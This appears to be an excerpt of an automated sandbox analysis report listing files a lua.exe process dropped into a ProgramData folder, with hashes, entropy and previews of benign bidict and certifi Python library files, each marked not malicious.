File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1819
Entropy (8bit):	5.236575402019063
Encrypted:	false
SSDEEP:	24:lTR4Wrm8F4iNTwq7KeqEDMJPuTYNBKFMUV06VXafKVXvCN6J2oBnCRHuzRYPuFVf:pnLF4EKe/MJlNBaMU90KdZkps9FS45l
MD5:	04392DF9F3676F703135D5AC72CBB359
SHA1:	65429D48AEF2AE664C13002111A04816D6FB29D8
SHA-256:	8F40D2B1E82E21D0A0021AB19B4667DBCF3BD75D33C7BD05D7D2EFC3B8626B28
SHA-512:	639B4AAD9C8935C6754E080361FFD1F57A0348F10417DC3D9B59E51B1D0726E1D7E1AD07352811D0FD8EED9B462B848B4C562B95136E45464BF0CFA19218A4B5
Malicious:	false
Preview:	# -- coding: utf-8 --.# Copyright 2009-2020 Joshua Bronson. All Rights Reserved..#.# This Source Code Form is subject to the terms of the Mozilla Public.# License, v. 2.0. If a copy of the MPL was not distributed with this.# file, You can obtain one at http://mozilla.org/MPL/2.0/...."""Provide :class:`OnDup` and related functionality."""...from collections import namedtuple.from enum import Enum...class OnDupAction(Enum):. """An action to take to prevent duplication from occurring.""".. #: Raise a :class:`~bidict.DuplicationError`.. RAISE = 'RAISE'. #: Overwrite existing items with new items.. DROP_OLD = 'DROP_OLD'. #: Keep existing items and drop new items.. DROP_NEW = 'DROP_NEW'.. def __repr__(self) -> str:. return f'<{self.name}>'...RAISE = OnDupAction.RAISE.DROP_OLD = OnDupAction.DROP_OLD.DROP_NEW = OnDupAction.DROP_NEW...class OnDup(namedtuple('_OnDup', 'key val kv')):. r"""A 3-tuple of :class:`OnDupAction`\s specifying how to handle the 3 kinds

C:\ProgramData\ShellExperienceHost\Lib\site-packages\bidict\_exc.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1053
Entropy (8bit):	4.8789100928356435
Encrypted:	false
SSDEEP:	24:lTR4Wrm8F+PCXkOOXLZ4ZdMMLq8hFk0dKgv:pnLF+KXkzZ4ZdMsq8XdRv
MD5:	E5D16BF2EEF01D37CB09663E2CD48682
SHA1:	DCA8D8B77ED70052A2FFB94882C88A143961F71F
SHA-256:	9CA386AB1A8EBF28E17A1F8F828F9D65959146F3C4598C83F14926E5747C58D9
SHA-512:	2BF1362AF948E39E16F415F49AE5EE043FC24C8F432E4500D34E3678881CD5D83F3FC1B1631F4EB89CBC0748E7714765C2A44AE3EC7FFED662D678EA5ACFE727
Malicious:	false
Preview:	# -- coding: utf-8 --.# Copyright 2009-2020 Joshua Bronson. All Rights Reserved..#.# This Source Code Form is subject to the terms of the Mozilla Public.# License, v. 2.0. If a copy of the MPL was not distributed with this.# file, You can obtain one at http://mozilla.org/MPL/2.0/...."""Provide all bidict exceptions."""...class BidictException(Exception):. """Base class for bidict exceptions."""...class DuplicationError(BidictException):. """Base class for exceptions raised when uniqueness is violated. as per the :attr:~bidict.RAISE` :class:`~bidict.OnDupAction`.. """...class KeyDuplicationError(DuplicationError):. """Raised when a given key is not unique."""...class ValueDuplicationError(DuplicationError):. """Raised when a given value is not unique."""...class KeyAndValueDuplicationError(KeyDuplicationError, ValueDuplicationError):. """Raised when a given item's key and value are not unique... That is, its key duplicates that of another item,. and its valu

C:\ProgramData\ShellExperienceHost\Lib\site-packages\bidict\_frozenbidict.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, UTF-8 Unicode text executable
Category:	dropped
Size (bytes):	2494
Entropy (8bit):	4.599829328877422
Encrypted:	false
SSDEEP:	24:lTR4Wrm8PDwSCAaJ+qb90oOgazWaP0Tt4SHgS2qhwwo2HeHCRrNp/L2W5KclazWS:pnLP82aJ+LoOD054FZwFp/LbJy06
MD5:	D3307C237E72F2B024F58338B37DE92B
SHA1:	ABBDA1AB77AF37E7F3B3F3A3FC46E16D93A25CE8
SHA-256:	218308CEC9BDA405D34BCD7D4F0EF3FD54CB204662AF8A0B25BADC45CE7214FF
SHA-512:	C5735309B4768F783B9767FE9861F756BF2FE74B2D28D4E178227B89905004E5A983399E95A3A68F8E6EA84254AB3F71C632155E2E98369D79721AFC5EB76373
Malicious:	false
Preview:	# -- coding: utf-8 --.# Copyright 2009-2020 Joshua Bronson. All Rights Reserved..#.# This Source Code Form is subject to the terms of the Mozilla Public.# License, v. 2.0. If a copy of the MPL was not distributed with this.# file, You can obtain one at http://mozilla.org/MPL/2.0/....#==============================================================================.# * Welcome to the bidict source code *.#==============================================================================..# Doing a code review? You'll find a "Code review nav" comment like the one.# below at the top and bottom of the most important source files. This provides.# a suggested initial path through the source when reviewing..#.# Note: If you aren't reading this on https://github.com/jab/bidict, you may be.# viewing an outdated version of the code. Please head to GitHub to review the.# latest version, which contains important improvements over older versions..#.# Thank you for reading and for any

C:\ProgramData\ShellExperienceHost\Lib\site-packages\bidict\_frozenordered.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, UTF-8 Unicode text executable
Category:	dropped
Size (bytes):	3224
Entropy (8bit):	4.696798724703964
Encrypted:	false
SSDEEP:	24:lTR4Wrm8PDwSCAaJ+qb90oOgazd34lgdom2qLBzgdPbR6o2Ngdd/2RwDej06PYl4:pnLP82aJ+LoOH4nkO4o5/2RTzZSCy0Qy
MD5:	A97E65F765DAE566A3849070C74149E1
SHA1:	7690AAEB681EB8D68CF53745C397708F30420458
SHA-256:	138933048A2B8992EEB61F48D65979ECA7A5BD437FC4302F663407EC635D9F7D
SHA-512:	82C05AEC91E2FC72D8AF7059E5B2255C9E6D941CE644469BB0F756797F8F9839341A19D6865D29589A6F8E8D612DA6B7629C22A1C3EF0EB902946E1CD1A9F351
Malicious:	false
Preview:	# -- coding: utf-8 --.# Copyright 2009-2020 Joshua Bronson. All Rights Reserved..#.# This Source Code Form is subject to the terms of the Mozilla Public.# License, v. 2.0. If a copy of the MPL was not distributed with this.# file, You can obtain one at http://mozilla.org/MPL/2.0/....#==============================================================================.# * Welcome to the bidict source code *.#==============================================================================..# Doing a code review? You'll find a "Code review nav" comment like the one.# below at the top and bottom of the most important source files. This provides.# a suggested initial path through the source when reviewing..#.# Note: If you aren't reading this on https://github.com/jab/bidict, you may be.# viewing an outdated version of the code. Please head to GitHub to review the.# latest version, which contains important improvements over older versions..#.# Thank you for reading and for any

C:\ProgramData\ShellExperienceHost\Lib\site-packages\bidict\_iter.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2333
Entropy (8bit):	4.860115041019169
Encrypted:	false
SSDEEP:	48:pnLC2gujUPb3vgEmXGFyAyB9w27DcRJUj:t227UT/sXGUA44JUj
MD5:	56829E07ECA30D0C0FC5D6C872A0680B
SHA1:	AC9C56A048AB7B6027BB63393AEFF4000FF4CFAF
SHA-256:	17DCE81ECF88AE4B9CBA36D11A7309B251FF19CFD0AE56B8324D6C3AF9FB10B8
SHA-512:	373F99F5F2A01DB981B3644FE27DB86F5C71B07220C63C32AEECE2FE596766FCC1D8A6D0C7CB161D5DE56D7A63040441A6227FE72F586EF7F7EC59887226EE09
Malicious:	false
Preview:	# -- coding: utf-8 --.# Copyright 2009-2020 Joshua Bronson. All Rights Reserved..#.# This Source Code Form is subject to the terms of the Mozilla Public.# License, v. 2.0. If a copy of the MPL was not distributed with this.# file, You can obtain one at http://mozilla.org/MPL/2.0/...."""Functions for iterating over items in a mapping."""..import typing as _t.from collections.abc import Mapping.from itertools import chain, repeat..from ._typing import KT, VT, IterItems, MapOrIterItems..._NULL_IT = repeat(None, 0) # repeat 0 times -> raise StopIteration from the start...def _iteritems_mapping_or_iterable(arg: MapOrIterItems[KT, VT]) -> IterItems[KT, VT]:. """Yield the items in arg... If arg is a :class:`~collections.abc.Mapping`, return an iterator over its items.. Otherwise return an iterator over arg itself.. """. return iter(arg.items() if isinstance(arg, Mapping) else arg)...def _iteritems_args_kw(args: MapOrIterItems[KT, VT], *kw: VT) -> IterItems[KT, VT]:.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\bidict\_mut.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, UTF-8 Unicode text executable
Category:	dropped
Size (bytes):	7352
Entropy (8bit):	4.809459973040931
Encrypted:	false
SSDEEP:	96:tbj2DgHg73GN00vx2bkE9OzmvTMfAZQr5wKSo:tba0O3WvsbBsziMfAaGKSo
MD5:	DC385D678204B0D65BDCA3C846D9806D
SHA1:	EE85EE1A320B9A03FBB57446008E7318B31B775F
SHA-256:	3015F382599E3499E245B759D42D13C75E2972C681762D4D3DA685188CD91298
SHA-512:	08C6B0F0BC9A242842CE911E323E76350122AD45A56C9853303C9BFCC55EEE3D34D0A6E2A7DF9923B7D6FD2A72764E0D071256A680F8B01B96F3ABC9C0E21704
Malicious:	false
Preview:	# -- coding: utf-8 --.# Copyright 2009-2020 Joshua Bronson. All Rights Reserved..#.# This Source Code Form is subject to the terms of the Mozilla Public.# License, v. 2.0. If a copy of the MPL was not distributed with this.# file, You can obtain one at http://mozilla.org/MPL/2.0/....#==============================================================================.# * Welcome to the bidict source code *.#==============================================================================..# Doing a code review? You'll find a "Code review nav" comment like the one.# below at the top and bottom of the most important source files. This provides.# a suggested initial path through the source when reviewing..#.# Note: If you aren't reading this on https://github.com/jab/bidict, you may be.# viewing an outdated version of the code. Please head to GitHub to review the.# latest version, which contains important improvements over older versions..#.# Thank you for reading and for any

C:\ProgramData\ShellExperienceHost\Lib\site-packages\bidict\_named.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, UTF-8 Unicode text executable
Category:	dropped
Size (bytes):	3784
Entropy (8bit):	4.8143169086026925
Encrypted:	false
SSDEEP:	96:tHA7N10koUZmRHvmeUy5+Yxp1bUPt5YWNVZRSzDlydsoD:tHc10fCaPgMxAWsVZRS3AdHD
MD5:	1B77617FEE99287D751B63DCF413C0AE
SHA1:	C5D49568DCC0135CC821F354FCF319ED85BB4F50
SHA-256:	FD6423A33F6913577F1F05505F4E6F9F94ED84E4443B0E3DC837454ACE65BD4E
SHA-512:	0C7D5246C55CA684D8F2A0CF08802129CD10BF230C2E64A500032F62281B8C563E4339C0BC90E5B577B443827FFF7DCC024A6A1EFB3709AC274539D04A801B40
Malicious:	false
Preview:	# -- coding: utf-8 --.# Copyright 2009-2020 Joshua Bronson. All Rights Reserved..#.# This Source Code Form is subject to the terms of the Mozilla Public.# License, v. 2.0. If a copy of the MPL was not distributed with this.# file, You can obtain one at http://mozilla.org/MPL/2.0/..."""Provide :func:`bidict.namedbidict`."""..import typing as _t.from sys import _getframe..from ._abc import BidirectionalMapping, KT, VT.from ._bidict import bidict...def namedbidict(. typename: str,. keyname: str,. valname: str,. ,. base_type: _t.Type[BidirectionalMapping[KT, VT]] = bidict,.) -> _t.Type[BidirectionalMapping[KT, VT]]:. r"""Create a new subclass of base_type* with custom accessors... Like :func:`collections.namedtuple` for bidicts... The new class's ``__name__`` and ``__qualname__`` will be set to typename,. and its ``__module__`` will be set to the caller's module... Instances of the new class will provide access to their. :attr:`inverse <BidirectionalM

C:\ProgramData\ShellExperienceHost\Lib\site-packages\bidict\_orderedbase.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, UTF-8 Unicode text executable
Category:	dropped
Size (bytes):	12196
Entropy (8bit):	4.585916452553485
Encrypted:	false
SSDEEP:	96:tbjosoMjImghg1D6zxz2VLS2wTTEYdB1ajrnpRUA2t3NtorSIJz/ZGxY0ANmojuJ:tbcsIxe1k85wUsaj9+BoYxYRmHC0ZxjX
MD5:	632281FB8EDBDBFC0336D7D048409667
SHA1:	36BA9D2E42DF3BC1648F1B1AB701F28D8E913022
SHA-256:	C8C2117C3B58E43409A00788E58BC85B8F4EE3632E2AA2BCAB10EB733AF53506
SHA-512:	D37DD633EF3720DB4DF095304487461A663EA485CD5989245B16F10499F8F3CDD5FDC36364A7FD74B997AFFB4945385A6C2792D7F3ED867987B1B7309B86BB2E
Malicious:	false
Preview:	# -- coding: utf-8 --.# Copyright 2009-2020 Joshua Bronson. All Rights Reserved..#.# This Source Code Form is subject to the terms of the Mozilla Public.# License, v. 2.0. If a copy of the MPL was not distributed with this.# file, You can obtain one at http://mozilla.org/MPL/2.0/....#==============================================================================.# * Welcome to the bidict source code *.#==============================================================================..# Doing a code review? You'll find a "Code review nav" comment like the one.# below at the top and bottom of the most important source files. This provides.# a suggested initial path through the source when reviewing..#.# Note: If you aren't reading this on https://github.com/jab/bidict, you may be.# viewing an outdated version of the code. Please head to GitHub to review the.# latest version, which contains important improvements over older versions..#.# Thank you for reading and for any

C:\ProgramData\ShellExperienceHost\Lib\site-packages\bidict\_orderedbidict.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, UTF-8 Unicode text executable
Category:	dropped
Size (bytes):	3409
Entropy (8bit):	4.503022918198489
Encrypted:	false
SSDEEP:	48:pnLP82aJ+LoOIK4t6vHtaUQfeW/TUrTKjVPUMqyvPLVWBW/:tbjPu6vHnG/wrCQMhWC
MD5:	9F3D42129FD92C596AF3C4AAAA7BC909
SHA1:	5E694E737CCFECF33F00AAD0F36AECBCF7B59ED4
SHA-256:	B647C03317A12DEB4CA93AC6A10ABD29F74EA6045D8735AAA7696693AFF8BCBD
SHA-512:	1E9E7ECE6B9AD4625F1A4A04171309F13578D94A42F45494D7FA57D8B84BF72D8EDB727F46B9FA1F6A766F0838E58EAA1F57CE88ACF7E972CCB725270B1AF23D
Malicious:	false
Preview:	# -- coding: utf-8 --.# Copyright 2009-2020 Joshua Bronson. All Rights Reserved..#.# This Source Code Form is subject to the terms of the Mozilla Public.# License, v. 2.0. If a copy of the MPL was not distributed with this.# file, You can obtain one at http://mozilla.org/MPL/2.0/....#==============================================================================.# * Welcome to the bidict source code *.#==============================================================================..# Doing a code review? You'll find a "Code review nav" comment like the one.# below at the top and bottom of the most important source files. This provides.# a suggested initial path through the source when reviewing..#.# Note: If you aren't reading this on https://github.com/jab/bidict, you may be.# viewing an outdated version of the code. Please head to GitHub to review the.# latest version, which contains important improvements over older versions..#.# Thank you for reading and for any

C:\ProgramData\ShellExperienceHost\Lib\site-packages\bidict\_typing.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	862
Entropy (8bit):	5.218685600149469
Encrypted:	false
SSDEEP:	24:lTR4Wrm8FwhY2s+AAAKx55LUfG8oZo6n644O1m40:pnLFG5BU+8oZXt4n40
MD5:	FC5ED2766176433E62416517C15243CE
SHA1:	91097A2C94DC5FBCB6A7709CD6B1FDE161EF44A3
SHA-256:	DE5ABEC198561B29F7ABB7AEC3A60AECBC059F1395075A9DA97D71D47716E0D8
SHA-512:	88FF4484C4634E8D6239D5CD4FCA624003DB1913AB53CD23A9ADEC48BCAA9AEFA04D97399E4E354A967A963B2407950B4D6AD35364122304B23D895A0AB01310
Malicious:	false
Preview:	# -- coding: utf-8 --.# Copyright 2009-2020 Joshua Bronson. All Rights Reserved..#.# This Source Code Form is subject to the terms of the Mozilla Public.# License, v. 2.0. If a copy of the MPL was not distributed with this.# file, You can obtain one at http://mozilla.org/MPL/2.0/...."""Provide typing-related objects."""..import typing as _t...KT = _t.TypeVar('KT').VT = _t.TypeVar('VT').IterItems = _t.Iterable[_t.Tuple[KT, VT]].MapOrIterItems = _t.Union[_t.Mapping[KT, VT], IterItems[KT, VT]]..DT = _t.TypeVar('DT') #: for default arguments.VDT = _t.Union[VT, DT]...class _BareReprMeta(type):. def __repr__(cls) -> str:. return f'<{cls.__name__}>'...class _NONE(metaclass=_BareReprMeta):. """Sentinel type used to represent 'missing'."""...OKT = _t.Union[KT, _NONE] #: optional key type.OVT = _t.Union[VT, _NONE] #: optional value type.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\bidict\_version.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	117
Entropy (8bit):	4.621474797647588
Encrypted:	false
SSDEEP:	3:SHQlqXb9cFWARQ7RYZG7zGN6zRXv3VyLQdLxr85Scn:SwlqXb+sARQ7CG7qN6iQdNoZn
MD5:	BE486188DCBDFC84902EF9AA434761F9
SHA1:	7CD7DA94E81509E6E1CC2BB4CF6CD8548E56BFFA
SHA-256:	7B85AEDC5E2DFA08F54DA88B61A758110FF747CA4D1B3E178B52B878DD56148C
SHA-512:	F1E5BD63ACA0348E47D8102A91974B35779ADB8D538CBEAF4FF69E0CE001EC8C1C584EEA0076377171376A54FABFF99C421F7A40653A95A3CB24F903DF10F291
Malicious:	false
Preview:	# coding: utf-8.# file generated by setuptools_scm.# don't change, don't track in version control.version = '0.21.2'.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\bidict\metadata.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1812
Entropy (8bit):	5.0482076760722805
Encrypted:	false
SSDEEP:	24:lTR4Wrm8gEdivY01/hwz/B10576+Xm443GCJwQ9movyO4koE2v:pnLglvYrz510s+XAGCJmGvvI
MD5:	8995E2BBB9A1CB4D63D87F9A974B62BC
SHA1:	EC7B7E8E716AE75B8E0E6865BA53E629AD616DBD
SHA-256:	86D1177AABBB92932759E44AAE5E1C5096414086C17A0C60BBF6F1159D292246
SHA-512:	B5DAFF6AA33E1485FF7362B516D71AB9633A3E20B43BF9F21C92929A7074C0F004E05E1654E085E7690F067DF3762C986F0805D6D5D24D4B416E1164062AB808
Malicious:	false
Preview:	# -- coding: utf-8 --.# Copyright 2009-2020 Joshua Bronson. All Rights Reserved..#.# This Source Code Form is subject to the terms of the Mozilla Public.# License, v. 2.0. If a copy of the MPL was not distributed with this.# file, You can obtain one at http://mozilla.org/MPL/2.0/..."""Define bidict package metadata."""...# _version.py is generated by setuptools_scm (via its `write_to` param, see setup.py).try:. from ._version import version.except (ImportError, ValueError, SystemError): # pragma: no cover. try:. import pkg_resources. except ImportError:. __version__ = '0.0.0.VERSION_NOT_FOUND'. else:. try:. __version__ = pkg_resources.get_distribution('bidict').version. except pkg_resources.DistributionNotFound:. __version__ = '0.0.0.VERSION_NOT_FOUND'.else: # pragma: no cover. __version__ = version..try:. __version_info__ = tuple(int(p) if i < 3 else p for (i, p) in enumerate(__version__.split('.'))).except Except

C:\ProgramData\ShellExperienceHost\Lib\site-packages\certifi-2020.12.5.dist-info\INSTALLER Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Mn:M
MD5:	365C9BFEB7D89244F2CE01C1DE44CB85
SHA1:	D7A03141D5D6B1E88B6B59EF08B6681DF212C599
SHA-256:	CEEBAE7B8927A3227E5303CF5E0F1F7B34BB542AD7250AC03FBCDE36EC2F1508
SHA-512:	D220D322A4053D84130567D626A9F7BB2FB8F0B854DA1621F001826DC61B0ED6D3F91793627E6F0AC2AC27AEA2B986B6A7A63427F05FE004D8A2ADFBDADC13C1
Malicious:	false
Preview:	pip.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\certifi-2020.12.5.dist-info\LICENSE Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1048
Entropy (8bit):	5.0660471199970525
Encrypted:	false
SSDEEP:	24:AAJHkvLu4J70RRrZNC5nRvN8kg4ahrmZBzCP07U5:AAeK4JQrruBJctOBmP0W
MD5:	F77F61D14EE6FEAC4228D3EBD26CC1F1
SHA1:	EA754E241E066D60AA3E231D0C05A88B06B564B4
SHA-256:	6A70A4BF6B010016D59A64B8AE4AD8DC7F5EF16F1FB453CC2ECD771C5A341131
SHA-512:	F460C5BBD0D48EDBC5BE42A77D8A27BD2B688D1AB28B1B6AA82211784AA8A38734C7FF13B617647A00D182A3A2B54433464175602509BCF24836A4057C4FF293
Malicious:	false
Preview:	This packge contains a modified version of ca-bundle.crt:..ca-bundle.crt -- Bundle of CA Root Certificates..Certificate data from Mozilla as of: Thu Nov 3 19:04:19 2011#.This is a bundle of X.509 certificates of public Certificate Authorities.(CA). These were automatically extracted from Mozilla's root certificates.file (certdata.txt). This file can be found in the mozilla source tree:.http://mxr.mozilla.org/mozilla/source/security/nss/lib/ckfw/builtins/certdata.txt?raw=1#.It contains the certificates in PEM format and therefore.can be directly used with curl / libcurl / php_curl, or with.an Apache+mod_ssl webserver for SSL client authentication..Just configure this file as the SSLCACertificateFile.#..*** BEGIN LICENSE BLOCK *.This Source Code Form is subject to the terms of the Mozilla Public License,.v. 2.0. If a copy of the MPL was not distributed with this file, You can obtain.one at http://mozilla.org/MPL/2.0/...* END LICENSE BLOCK ***.@(#) $RCSfile: certdata.txt,v $

C:\ProgramData\ShellExperienceHost\Lib\site-packages\certifi-2020.12.5.dist-info\METADATA Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2994
Entropy (8bit):	4.989178283347949
Encrypted:	false
SSDEEP:	48:DfGcq5+fy+GbFaDYxLiPkbOfzAaBZhYRztu0DpjMAmT7p3vTVfTXU+h+qLcUydy+:DfnqUxGbFaDYxmPkbGQn5DpjLmT7p3vm
MD5:	4D2B655AB51CFCC10949845D9C1F8BCB
SHA1:	400D9F606500464A92EC16C802F0FC5EE4B2DCC8
SHA-256:	484C391861C8781C06C0326C2146957C440073926AB3F5E87CE7D35FEFE4084D
SHA-512:	471C3DE5337E06361C3E1C940708627E5A94A813CBFFC94338E3ADD2E73080450213A2860722BB1EA6B120B3F48E240CDF434357177145B3D43867307DDDBCE4
Malicious:	false
Preview:	Metadata-Version: 2.1.Name: certifi.Version: 2020.12.5.Summary: Python package for providing Mozilla's CA Bundle..Home-page: https://certifiio.readthedocs.io/en/latest/.Author: Kenneth Reitz.Author-email: me@kennethreitz.com.License: MPL-2.0.Project-URL: Documentation, https://certifiio.readthedocs.io/en/latest/.Project-URL: Source, https://github.com/certifi/python-certifi.Platform: UNKNOWN.Classifier: Development Status :: 5 - Production/Stable.Classifier: Intended Audience :: Developers.Classifier: License :: OSI Approved :: Mozilla Public License 2.0 (MPL 2.0).Classifier: Natural Language :: English.Classifier: Programming Language :: Python.Classifier: Programming Language :: Python :: 3.Classifier: Programming Language :: Python :: 3.3.Classifier: Programming Language :: Python :: 3.4.Classifier: Programming Language :: Python :: 3.5.Classifier: Programming Language :: Python :: 3.6.Classifier: Programming Language :: Python :: 3.7.Classifier: Programming Language :: Python :: 3.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\certifi-2020.12.5.dist-info\RECORD Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	942
Entropy (8bit):	5.8083867942654095
Encrypted:	false
SSDEEP:	24:HqVn/2zDlVvLeVY5jrVKVmqVl29yq4Q1hDfp7nWtOwKyaKGr8qU00:inuXjj2Y5jJimCl2UQ1hDBL5KGW/
MD5:	2EB818CD806597E38AF32C76548D7923
SHA1:	F6F69E65FDD02EF1853571479AF428805F3BABBC
SHA-256:	26A70A65C911BD445CE8015006A32BE37F7EE5DC06F253149D889F269F429C34
SHA-512:	FA7C1FB770CDCD236E53ACCE4B9A4EB2A38B03408BBE9A0C63C5D720937762F720CB677C3522E0A10BAB38BA1324892B5AC5BEE75E24D5B10238CF0611E18148
Malicious:	false
Preview:	certifi-2020.12.5.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4..certifi-2020.12.5.dist-info/LICENSE,sha256=anCkv2sBABbVmmS4rkrY3H9e8W8ftFPMLs13HFo0ETE,1048..certifi-2020.12.5.dist-info/METADATA,sha256=SEw5GGHIeBwGwDJsIUaVfEQAc5Jqs_XofOfTX-_kCE0,2994..certifi-2020.12.5.dist-info/RECORD,,..certifi-2020.12.5.dist-info/WHEEL,sha256=ADKeyaGyKF5DwBNE0sRE5pvW-bSkFMJfBuhzZ3rceP4,110..certifi-2020.12.5.dist-info/top_level.txt,sha256=KMu4vUCfsjLrkPbSNdgdekS-pVJzBAJFO__nI8NF6-U,8..certifi/__init__.py,sha256=SsmdmFHjHCY4VLtqwpp9P_jsOcAuHj-5c5WqoEz-oFg,62..certifi/__main__.py,sha256=xBBoj905TUWBLRGANOcf7oi6e-3dMP4cEoG9OyMs11g,243..certifi/__pycache__/__init__.cpython-37.pyc,,..certifi/__pycache__/__main__.cpython-37.pyc,,..certifi/__pycache__/core.cpython-37.pyc,,..certifi/cacert.pem,sha256=u3fxPT--yemLvyislQRrRBlsfY9Vq3cgBh6ZmRqCkZc,263774..certifi/core.py,sha256=V0uyxKOYdz6ulDSusclrLmjbPgOXsD0BnEf0SQ7OnoE,2303..

C:\ProgramData\ShellExperienceHost\Lib\site-packages\certifi-2020.12.5.dist-info\WHEEL Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	110
Entropy (8bit):	4.816968543485036
Encrypted:	false
SSDEEP:	3:RtEeX7MWcSlVii6KRRP+tPCCf7irO5S:RtBMwlViGjWBBwt
MD5:	D25A99ECD1ECB535EE4E31874B0C7B95
SHA1:	B80780FBBF97A5FBF433C4F692E340632EA675F1
SHA-256:	00329EC9A1B2285E43C01344D2C444E69BD6F9B4A414C25F06E873677ADC78FE
SHA-512:	539E072414E6E8AD3BFAEDB0587507443B39826814FB330B57D605FB5FBE61134D3548359F41A14CC63B44E23EF0AA1E62EA1C4A2F3B344BE548F4C2C8143976
Malicious:	false
Preview:	Wheel-Version: 1.0.Generator: bdist_wheel (0.35.1).Root-Is-Purelib: true.Tag: py2-none-any.Tag: py3-none-any..

C:\ProgramData\ShellExperienceHost\Lib\site-packages\certifi-2020.12.5.dist-info\top_level.txt Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	8
Entropy (8bit):	2.75
Encrypted:	false
SSDEEP:	3:HZ:HZ
MD5:	5EBD7F7C387EBB31C14E3C701023AC97
SHA1:	BC5EA804A025DFFDE14FBF3746E34487196073D7
SHA-256:	28CBB8BD409FB232EB90F6D235D81D7A44BEA552730402453BFFE723C345EBE5
SHA-512:	7F2312A62A532E761DC45D0FF45FFE3FA599360AC0399D59EC8A39045C9E8CB62C912FC6C6F3A1C45ADBCAA10DDE77A8493567BB478839819C15F5FDD7E5C889
Malicious:	false
Preview:	certifi.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\certifi\__init__.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	62
Entropy (8bit):	4.391808867796259
Encrypted:	false
SSDEEP:	3:1LGzbQbAwLSkJXLvvP:1LcQbjJvP
MD5:	BC9F2DE40134228ADC4EA47CA70A0BAA
SHA1:	70D0A614D3E4E46C16D7B207B10A4C89F61C7D75
SHA-256:	4AC99D9851E31C263854BB6AC29A7D3FF8EC39C02E1E3FB97395AAA04CFEA058
SHA-512:	85AB4D140B85110AF74B54DD9416CE5CEC835668814FE728C64BF24C23EAB0475428D376CD80E721A54D9E0AC17BCD42A6E058CE63825019B11DBE450C678B29
Malicious:	false
Preview:	from .core import contents, where..__version__ = "2020.12.05".

C:\ProgramData\ShellExperienceHost\Lib\site-packages\certifi\__main__.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	243
Entropy (8bit):	4.451797874382859
Encrypted:	false
SSDEEP:	6:JW6yXBbjB2V+WuSZFeewrCy00y+0re6r/hu:JWfQYWuSZWFdQhu
MD5:	269E7F0CA2FA570B10E690595E6AEDAB
SHA1:	F09C4BA5E7EE37DDEBE914DEF9D97152CB5EB856
SHA-256:	C410688FDD394D45812D118034E71FEE88BA7BEDDD30FE1C1281BD3B232CD758
SHA-512:	01CA6DF3FB218B374BBA6653F5E72D6D6A9B07BB22215D5D96D2155DF037A9C6ED8D4F0FF8C789231A6C8C2555229700056FF6F740516F42F839E057FFF59F70
Malicious:	false
Preview:	import argparse..from certifi import contents, where..parser = argparse.ArgumentParser().parser.add_argument("-c", "--contents", action="store_true").args = parser.parse_args()..if args.contents:. print(contents()).else:. print(where()).

C:\ProgramData\ShellExperienceHost\Lib\site-packages\certifi\cacert.pem Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	263774
Entropy (8bit):	6.05068805145507
Encrypted:	false
SSDEEP:	6144:fWXdA7M8f9ZJm5plXqXCRrcMBHADwYCuMsliO:fWS7vZI5LACRrcMOb/
MD5:	1BA3B44F73A6B25711063EA5232F4883
SHA1:	1B1A84804F896B7085924F8BF0431721F3B5BDBE
SHA-256:	BB77F13D3FBEC9E98BBF28AC95046B44196C7D8F55AB7720061E99991A829197
SHA-512:	0DD2A14331308B1DE757D56FAB43678431E0AD6F5F5B12C32FA515D142BD955F8BE690B724E07F41951DD03C9FEE00E604F4E0B9309DA3EA438C8E9B56CA581B
Malicious:	false
